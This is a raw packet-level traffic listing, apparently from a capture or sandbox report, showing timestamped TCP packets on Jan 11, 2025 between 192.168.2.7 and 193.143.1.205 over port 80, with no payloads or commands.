Jan 11, 2025 06:43:10.453922033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453926086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.453948021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453984976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.454323053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.454334974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.454345942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.454358101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.454370022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.454369068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.454380989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.454394102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.454425097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.454425097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.454456091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.454457998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.454468012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.454478979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.454488993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.454519987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.454545975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.455214977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.455226898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.455238104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.455249071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.455260992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.455271006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.455292940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.455293894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.455293894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.455307961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.455329895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.455337048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.455341101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.455354929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.455358028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.455410957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.456089020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.456105947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.456119061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.456151962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.456151962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.456242085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.456262112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.456273079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.456283092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.456294060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.456305027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.456305981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.456315994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.456329107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.456346989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.456346989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.456392050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.457052946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.457066059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.457081079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.457094908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.457135916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.457135916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.457155943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.457170963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.457192898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.457206964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.457211018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.457288027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.457288980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.457304955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.457320929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.457397938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.458030939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.458043098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.458060026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.458070993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.458071947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.458084106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.458095074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.458129883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.458129883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.459254980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.463490963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.486320972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.486346006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.486361980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.486376047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.486385107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.486392021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.486434937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.486434937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.526242971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.526272058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.526285887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.526299953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.526315928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.526323080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.526413918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.526416063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.526432991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.526447058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.526459932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.526473999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.526487112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.526487112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.526541948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.541570902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.541587114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.541599035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.541610956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.541632891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.541647911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.541656017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.541656017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.541677952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.541712999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.541712999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.541726112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.541737080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.541763067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.541809082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.566241026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.566267967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.566282034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.566303968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.566318989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.566333055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.566346884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.566346884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.566346884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.566363096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.566380978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.566386938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.566395998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.566452026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.566452026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.581587076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.581624985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.581799030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.581819057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.581825018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.581830978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.581899881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.581912994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.581923008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.581933975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.581942081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.581942081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.581964016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.581979036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582005024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582005024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582019091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582030058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582056999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582089901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582103968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582104921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582118034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582158089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582169056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582180023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582210064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582210064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582237959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582251072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582313061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582483053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582540035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582551003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582572937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582596064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582607985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582619905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582632065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582657099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582657099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582760096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582839012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582850933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582861900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.582885981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.582989931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583003044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583013058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583024979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583044052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.583044052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.583075047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583087921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583101988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583116055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583118916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.583128929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583168983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583172083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.583172083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.583180904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583211899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.583714008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583725929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583739042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583750010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583760977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583771944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583786011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583790064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.583790064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.583838940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583844900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.583853960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583868027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583882093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583885908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.583895922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583910942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.583915949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.583956003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.586781979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586807966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586819887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586837053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586848021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586849928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.586859941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586873055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586883068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586889982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.586894035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586910963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.586921930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586934090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586935997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.586952925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586971045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586975098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.586975098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.586985111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.586997032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587008953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587021112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.587043047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.587356091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587368011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587379932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587389946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587400913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587404013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.587419987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.587465048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587476015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.587485075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587496996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587507010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587517977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587528944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587538004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.587542057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587891102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587904930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.587968111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.587968111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.588385105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.592336893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.614871025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.614903927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.614921093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.614933014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.614936113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.614953041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.614965916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.614979982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.614995003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.614994049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.614995003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.615008116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.615047932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.615047932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.630171061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630196095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630209923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630235910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.630260944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630278111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630314112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.630315065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630331039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630343914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630357981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630364895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.630407095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.630470991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630486012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630498886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630511999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630525112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630539894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.630542040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.630542040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.631334066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.654860973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.654881954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.654892921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.654905081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.654917955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.654930115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.654942036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.654952049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.655092001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.655092001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670228958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670262098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670300007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670305014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670334101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670346975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670360088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670416117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670424938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670439005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670453072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670515060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670527935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670550108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670555115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670555115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670564890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670579910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670593023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670598984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670625925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670638084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670650005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670655012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670665026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670685053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670685053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670701027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670701981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670716047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670730114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670732021 CET	49699	80	192.168.2.7	193.143.1.205
